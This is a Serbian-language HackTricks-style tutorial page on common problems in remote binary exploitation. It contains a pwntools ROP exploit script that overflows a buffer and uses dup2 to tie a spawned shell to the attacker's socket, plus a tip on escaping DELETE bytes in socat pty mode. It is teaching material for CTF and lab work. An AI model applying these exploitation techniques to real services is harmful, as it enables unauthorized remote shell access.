# Uobičajeni Problemi Eksploatacije {{#include ../banners/hacktricks-training.md}} ## FDs u Daljinskoj Eksploataciji Kada se šalje eksploatacija na daljinski server koji poziva **`system('/bin/sh')`**, to će se izvršiti u procesu servera, i `/bin/sh` će očekivati ulaz sa stdin (FD: `0`) i će ispisivati izlaz na stdout i stderr (FD-ovi `1` i `2`). Tako da napadač neće moći da interaguje sa shell-om. Jedan način da se to reši je da se pretpostavi da kada je server pokrenut, stvorio je **FD broj `3`** (za slušanje) i da će vaša veza biti u **FD broju `4`**. Stoga, moguće je koristiti sistemski poziv **`dup2`** da se duplira stdin (FD 0) i stdout (FD 1) u FD 4 (onaj od veze napadača) kako bi se omogućila komunikacija sa shell-om kada se izvrši. [**Primer eksploatacije odavde**](https://ir0nstone.gitbook.io/notes/types/stack/exploiting-over-sockets/exploit): ```python from pwn import * elf = context.binary = ELF('./vuln') p = remote('localhost', 9001) rop = ROP(elf) rop.raw('A' * 40) rop.dup2(4, 0) rop.dup2(4, 1) rop.win() p.sendline(rop.chain()) p.recvuntil('Thanks!\x00') p.interactive() ``` ## Socat & pty Napomena da socat već prenosi **`stdin`** i **`stdout`** na soket. Međutim, `pty` režim **uključuje DELETE karaktere**. Dakle, ako pošaljete `\x7f` ( `DELETE` -) to će **obrisati prethodni karakter** vašeg eksploita. Da biste to zaobišli, **karakter za bekstvo `\x16` mora biti prethodjen bilo kojem `\x7f` koji se šalje.** **Ovde možete** [**pronaći primer ovog ponašanja**](https://ir0nstone.gitbook.io/hackthebox/challenges/pwn/dream-diary-chapter-1/unlink-exploit)**.** {{#include ../banners/hacktricks-training.md}}